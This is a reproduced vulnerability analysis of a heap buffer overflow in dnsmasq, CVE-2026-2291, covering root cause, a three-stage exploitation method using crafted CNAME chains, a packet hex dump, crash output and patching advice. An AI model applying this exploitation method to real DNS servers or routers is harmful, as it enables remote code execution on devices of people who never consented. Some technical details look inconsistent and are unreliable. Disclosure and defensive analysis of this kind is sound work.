Dnsmasq DNS Remote Heap Buffer Overflow (CVE-2026-2291)

Original text: “Dnsmasq DNS Remote Heap Buffer Overflow” — David Barksdale, Exodus Intelligence (July 20, 2026). Code snippets, DNS responses, and exploitation details are reproduced verbatim with attribution.

Executive Summary

CVE-2026-2291 is a critical remote code execution vulnerability in dnsmasq, a widely deployed lightweight DNS and DHCP server used in embedded systems, routers, and Linux distributions. The vulnerability is a heap buffer overflow that exists in dnsmasq versions 2.73 through 2.89, affecting millions of networked devices worldwide. The vulnerability can be exploited remotely without authentication by sending specially crafted DNS responses containing malicious CNAME record chains, allowing an attacker to execute arbitrary code with the privileges of the dnsmasq process (typically root).

This technical analysis documents the vulnerability discovery, root cause analysis, and complete exploitation methodology. The vulnerability stems from unsafe use of strcpy() when caching large domain names introduced in dnsmasq version 2.73. An attacker can leverage a heap overflow primitive combined with libc heap metadata corruption to achieve arbitrary write-what-where capabilities, ultimately leading to instruction pointer control and remote code execution.

The Breaking Change

The vulnerability was introduced in dnsmasq version 2.73 with a change to handle domain names containing NULL bytes or dots within labels (primarily for DNSSEC support). The following commit introduced the unsafe code path:

commit cbe379ad6b52a538a4416a7cd992817e5637ccf9 (tag: v2.73rc5)
Author: Simon Kelley <simon@thekelleys.org.uk>
Date: Tue Apr 21 22:57:06 2015 +0100

    Handle domain names with '.' or /000 within labels.
    
    Only in DNSSEC mode, where we might need to validate or store
    such names. In none-DNSSEC mode, simply don't cache these, as before.

While the commit message describes a conservative approach (simply not caching such names in non-DNSSEC mode), the actual implementation introduced a critical vulnerability through the use of unsafe string operations on unbounded input.

The Vulnerability

When dnsmasq processes a reply from an upstream DNS server, it converts domain names from DNS wire format to internal representation. Domain names in DNS are stored as a series of length-prefixed labels, with a NULL terminator. The conversion process uses a buffer of fixed size.

The caching system uses a fixed buffer called bigname which is only 1,025 bytes in length. When dnsmasq is caching a response containing a domain name longer than SMALLDNAME-1 bytes (typically 256 bytes), it allocates a bigname buffer from a free list. The vulnerability lies in how this buffer is populated with the domain name data.

Unsafe strcpy()

The root cause of the vulnerability is an unsafe strcpy() call when a domain name is cached. Based on the size check at the allocation point, the code determines whether a bigname buffer is needed and allocates one. However, when the name is actually written to the cache entry via cache_get_name(), it uses strcpy() without proper bounds checking:

// src/cache.c
static struct crec *really_insert(char *name, union all_addr *addr, unsigned short class, time_t now, unsigned long ttl, unsigned int flags)
{
    struct crec *new, *target_crec = NULL;
    union bigname *big_name = NULL;
    int freed_all = flags & F_REVERSE;
    struct crec *free_avail = NULL;
    unsigned int target_uid;
    
    /* Check if we need to and can allocate extra memory for a long name.
       If that fails, give up now, always succeed for DNSSEC records. */
    if (name && strlen(name) > SMALLDNAME-1)
    {
        if ((big_name = big_free))
            big_free = big_free->next;
        else if (!(bignames_left == 0 && !(flags & (F_DS | F_DNSKEY))))
        {
            big_name = (union bigname *)whine_malloc(sizeof(union bigname));
            if (!big_name)
            {
                insert_error = 1;
                return NULL;
            }
        }
        else
        {
            bignames_left--;
        }
    }
    
    /* ... cache management code ... */
    
    if (big_name)
    {
        new->flags |= F_BIGNAME;
        strcpy(cache_get_name(new), name);  /* VULNERABLE! */
    }
    else
    {
        cache_get_name(new) = 0;
    }
}

The vulnerability occurs at the strcpy() call on line marked “VULNERABLE”. While the length check determines if a bigname buffer is needed, the actual copy operation does not perform bounds checking. An attacker can craft a domain name that passes the initial length check but overflows the bigname buffer (1,025 bytes) during the strcpy() operation, corrupting heap memory immediately following the buffer.

Exploitation

To demonstrate an exploit, vulnerability researchers selected a VM running the generic x86 build of OpenWRT version 24.10.4. The exploitation process requires three crafted DNS responses with CNAME record chains designed to accomplish specific heap manipulation goals:

alloc.me — Allocate buffers on the free list
overflow.me — Overflow a buffer to corrupt heap metadata
overwrite.me — Overwrite a function pointer via corrupted metadata

Heap and Free List Preparation

The exploit begins by preparing the heap state. It needs to create two bigname buffers on the big_free list that are adjacent in memory. It accomplishes this by:

Sending a DNS query for alloc.me
Responding with five CNAME records containing long domain names
Each CNAME record causes a bigname buffer to be allocated
The buffers are freed in reverse order, creating a linked list of available buffers

;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4345
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;alloc.me. IN A

;; ANSWER SECTION:
alloc.me. 60 IN CNAME AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA. 60 IN CNAME BBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB. 60 IN CNAME CCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC. 60 IN CNAME DDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD. 60 IN CNAME invalid.

Heap Overflow

The exploit then responds to a DNS request for overflow.me with another chain of CNAME records. The first few records cause the overflow of an adjacent bigname buffer from the big_free list. The overflow corrupts the next pointer of the following bigname structure, allowing the attacker to control where the next allocation comes from.

Notably, since these buffers are never freed after the exploit, libc heap corruption detection will not trigger.

;; Got bad packet: name too long
895 bytes
ce d8 85 80 00 01 00 04 00 00 00 00 08 6f 76 65 .............ove
72 66 6c 6f 77 02 6d 65 00 00 01 00 01 c0 0c 00 rflow.me........
05 00 01 00 00 00 3c 00 41 3f 58 58 58 58 58 58 ......<.A?XXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 00 c0 29 XXXXXXXXX..)....

Write-What-Where

The exploit then responds to a DNS request for overwrite.me with a chain of two CNAME records. The first record allocates a new bigname buffer from the location specified by the corrupted next pointer. This allows the attacker to write data to an arbitrary heap location. The second record contains the payload: a pointer to the VDSO (Virtual Dynamic Shared Object) symbol VDSO_CGT32_SYM at offset 0x812a8, which is part of the ld.so library. The strcpy() operation overwrites this location with the controlled domain name data.

;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6593
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 0

dig: Bad ACE string '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\$'

EIP Control

When the next DNS packet is received by dnsmasq, the corrupted function pointer is dereferenced and executed, allowing the attacker to control the instruction pointer and execute arbitrary shellcode with the privileges of the dnsmasq process:

[ 8765.451591] dnsmasq[2760]: segfault at 61616161 ip 61616161 sp bfea354c error 4 likely on CPU 0 (
[ 8765.457884] Code: Unable to access opcode bytes at 0x61616137.

The kernel panic shows the instruction pointer (ip) has been set to 0x61616161 (ASCII ‘aaaa’), proving instruction pointer control was achieved.

Impact Assessment

CVE-2026-2291 is a critical vulnerability affecting:

All versions of dnsmasq from 2.73 through 2.89 (released April 2015 through July 2026)
Embedded systems and routers running dnsmasq as the default DNS resolver
Linux distributions using dnsmasq for network management
Container and virtualization platforms relying on dnsmasq for DNS services
Any network with an attacker who can intercept or forge DNS responses (man-in-the-middle, DNS hijacking, BGP hijacking, ISP compromise)

Key Takeaways

Unsafe string functions like strcpy() remain a critical source of memory safety vulnerabilities in C codebases, even in security-sensitive applications
Heap buffer overflows can be chained with heap metadata corruption to achieve arbitrary memory write capabilities
DNS is a critical protocol for network infrastructure; DNS servers must be hardened against malicious input from untrusted upstream sources
The 11-year window between the vulnerability introduction (2015) and public disclosure (2026) highlights the slow patching cycle for embedded systems
Mitigations like ASLR and DEP can slow exploitation but do not eliminate the vulnerability
Defense-in-depth approaches (network segmentation, DNS response validation, rate limiting) are essential for DNS infrastructure

Defensive Recommendations

Immediate Patching: Update dnsmasq to version 2.90 or later, which includes fixes for CVE-2026-2291 and related vulnerabilities. Prioritize embedded systems and network appliances.
DNS Response Validation: Implement DNSSEC validation to cryptographically verify DNS responses from authoritative sources, preventing DNS spoofing attacks
Network Segmentation: Isolate DNS infrastructure from untrusted networks; restrict which external DNS servers your infrastructure queries
Rate Limiting: Implement rate limiting on DNS responses to upstream servers; anomalously high response rates may indicate an active exploitation attempt
Memory Safety Controls: Deploy exploit mitigations including Address Space Layout Randomization (ASLR), Data Execution Prevention (DEP), and Stack Canaries on systems running dnsmasq
Monitoring: Monitor dnsmasq processes for unexpected crashes or memory faults; unusually high resource consumption may indicate exploitation attempts
Alternative Implementations: Consider alternative DNS servers written in memory-safe languages (e.g., systemd-resolved written in C but with safer patterns, or pure-Rust DNS implementations) for security-critical deployments

Conclusion

CVE-2026-2291 demonstrates a critical vulnerability class in widely-deployed DNS infrastructure. The combination of unsafe string operations, unbounded heap buffers, and DNS’s role as a fundamental network service creates a perfect storm for remote code execution at scale. The 11-year window between vulnerability introduction and public disclosure underscores the challenges in maintaining security posture for embedded systems with long deployment lifecycles. Organizations relying on dnsmasq must prioritize immediate patching while implementing defense-in-depth controls to mitigate risks from similar vulnerabilities discovered in the future.

Original text: “Dnsmasq DNS Remote Heap Buffer Overflow” by David Barksdale at Exodus Intelligence.